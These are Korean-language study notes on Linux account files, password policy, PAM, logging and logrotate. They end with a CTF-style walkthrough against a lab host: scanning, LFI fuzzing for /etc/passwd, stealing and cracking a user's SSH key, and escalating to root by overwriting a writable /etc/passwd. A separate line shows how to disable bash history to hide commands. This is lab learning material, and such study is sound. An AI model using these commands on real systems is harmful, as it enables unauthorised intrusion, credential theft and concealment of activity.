/etc/passwd
사용자계정: 패스워드: uid: gid: 사용자이름: 홈 디렉토리: 로그인 쉘
/etc/shadow
사용자계정: 암호화된 패스워드:패스워드 마지막 변경: 패스워드 최소 사용기간 : 패스워드 최대 사용기간: 패스워드 만료 이전 경고: 패스워드 만료 이후 계정이 잠기기 전까지 비활성 일수: 만료일: 관리자 임의 사용공간
암호화된 패스워드
$6$~~~~~~~~~~~$~~~~~~~~~~~~~~~~~~~~~~~~~~~:
암호화 알고리즘 salt encrypted password
파일의 앞에
d,p,s,b,l,c 등이 올 수 있는데
directory, pipe, socket, block, link, character 파일을 의미한다.
umask (원하는 umask)로 입력시 변경됨
chown: chown ftptest ftp.txt
chgrp: chgrp users ftp.txt
chmod: chmod 755
/etc/security/pwquality.conf 에서 패스워드 복잡도 설정
6번 라인 difok = different ok
ex) difok= 1 (이전 패스워드와 다른 문자 1개 이상)
11번 라인 최소 패스워드 길이
15번 dcredit = 패스워드 최대 숫자개수
만약 -(음수)로 들어가면 최소 숫자개수로 바뀜
20번 ucredit = 대문자
25번 lcredit = 소문자
30번 ocredit = 특수문자
34번 minclass = 조합의 최소종류 (digits, uppercase, lowercase, others)
38번 maxrepeat = 연달아 나오는 같은 문자의 최대 개수
43번 maxclassrepeat = 연달아 나오는 같은 클래스 최대 개수
47번 gecoscheck = GECOS라는 사용자 항목(/etc/passwd에 uid나 사용자 계정같은 필드를 의미 )에서 유사성있는지 확인
51번 dictcheck = 사전파일에 있는지 없는지 체크 (cracking) 67번 라인에 path에 dict파일 path 삽입
70번 로그인 시도횟수
모든 리눅스 인증관련은 pam확인
/etc/pam.d/system-auth
authselect (pam 관리 명령어)
/var/log/wtmp: 마지막 로그인/로그아웃 기록을 저장하는 바이너리 파일 (who temporary라고 외워보자) (btmp, utmp, wtmp)
last 명령어로 확인가능
btmp는 lastb
utmp는 w, who
pts - 원격접속 tty - 로컬접속
인증관련된 로그는 보통 /var/log/secure에 저장 - syslogd에서 로그 기록
/var/log/lastlog - 최근 마지막으로 로그인한 유저 기록
/var/log/messages - device 정보, system 설정 오류, 파일시스템, 네트워크 등 시스템 관련 다양한 로그들을 저장
/var/log/xferlog - ftp 로그
~/.bash_history 에서 사용자가 사용했던 명렁어 볼 수 있음
아니면 명령어 history
ln -s /dev/null .bash_history -> bash_history를 /dev/null에 link를 걸어버려서 이후 명령어가 저장되지 않음
/etc/rsyslog.conf에서 내용들을 살펴보면
facility.priority 경로 뭐 이런식으로 저장되어있는데
facility는 어디서 온 로그인가, priority는 로그의 중요도를 나타낸다.
Facility 코드 의미
auth | 인증 관련 (예: su, sudo, login) |
authpriv | 인증 중 개인 정보 포함 (보안 강화됨) |
cron | 크론 잡 관련 로그 |
daemon | 백그라운드 데몬 서비스 |
kern | 커널 메시지 |
메일 관련 서비스 | |
user | 일반 사용자 애플리케이션 로그 |
local0~local7 | 사용자 정의 가능 |
레벨 이름 숫자 의미
emerg | 0 | 시스템 사용 불가 수준 (모든 사용자에게 브로드캐스트) |
alert | 1 | 즉시 조치 필요 |
crit | 2 | 치명적 조건 |
err | 3 | 오류 (일반적인 에러) |
warning | 4 | 경고 |
notice | 5 | 정상이나 주의할 이벤트 |
info | 6 | 정보성 메시지 |
debug | 7 | 디버깅용 상세 정보 |
*.crit /var/log/critical.log
local3.noitce /var/log/mytest.log
*.debug;authpriv.none /var/log/all_except_auth.log
journal - system 로그를 조회
journalctl -xe = 최신 system로그 확인
-f = 실시간 확인
-r = reverse 최근꺼부터 나옴
/run/log/journal 에 다 있음
journal 파일위치 변경하고 싶으면
mkdir /var/log/journal
chown root:systemd-journal /var/log/journal
chmod 2755 /var/log/journal
logrotate - 로그 순환과 관련 (설정파일 /etc/logrotate.conf 확인)
logrotate.timer가 트리거가 되어 logrotate가 실행됨
systemctl status logrotate로 확인해보면 inactive지만, logrotate.timer가 돌고있으면 상관없음
systemctl cat logrotate로 service파일을 살펴보면
[service]
부분에 type=oneshot - 한번실행후 바로 종료
execstart = 실행파일위치, conf파일 위치
간단한 설정 예시
각 옵션 설명
daily | 로그를 매일 교체 |
rotate 7 | 7개까지 로그 파일 보관 |
compress | 오래된 로그를 gzip으로 압축 |
missingok | 로그 파일이 없어도 에러 내지 않음 |
notifempty | 로그가 비어있으면 교체하지 않음 |
create | 새 로그 파일 생성 시 권한과 소유자 지정 |
sharedscripts | 여러 로그 파일이 함께 있을 때 스크립트 한 번만 실행 |
postrotate | 로그 교체 후 실행할 스크립트 (ex: 서비스 재시작) |
CTF
#local ip search (arp)
netdiscover -r 192.168.16.0/24
#port scanning
nmap -sC -sV -p- 192.168.16.49
#webserver dir scanning
dirb http://192.168.16.49 (-w 경로주면 common말고도 할 수 있음)
gobuster dir -u http://192.168.16.49 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -u http://192.168.16.49 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,bak,back
#fuzzing: 무작위적이거나 유효하지 않은 데이터를 프로그램에 입력하여 보안 취약점을 찾아내는 소프트웨어 테스트 기법
#http://192.168.16.49/secret/evil.php?(fuzzing 부분)
#ffuf, wfuzz, zap-proxy등 -u (url) -fs 0 (http 응답 패킷 크기 0인 것은 필터링) -w (word)
ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.16.49/secret/evil.php?FUZZ=/etc/passwd -fs 0
#LFI(Local File Inclusion)취약점
#홈 디렉토리에 /home/mowree/.ssh/id_rsa (mowree사용자가 ssh사용할 때, key값이 저장된 파일이 보통 있음 이름 경로를 안바꿨다면)
내용 복사해서 다른 파일로 저장 혹은
curl http://192.168.16.49/secret/evil.php?command=/home/mowree/.ssh/id_rsa -o (file name)
#id_rsa 내용을 crack (john, medusa 등)
chmod 600 id_rsa
ssh2john id_rsa > key.hash
john key.hash -> passwd dict확인해서 있으면 나옴 (unicorn으로 나옴)
ssh -i id_rsa mowree@192.168.16.49
unicorn
# find -u=s , writable, sudo -L 등으로 루트로서의 권한을 가질 수 있을 수 있다.
find / -writable -type f 2>/dev/null
#/etc/passwd가 writable인 것을 확인
openssl passwd 1234
#나오는 값 복사해서 /etc/passwd에 x부분에 붙여넣기 (hash값)
su root
LFI 취약점을 이용하여 root권한을 탈취하였다.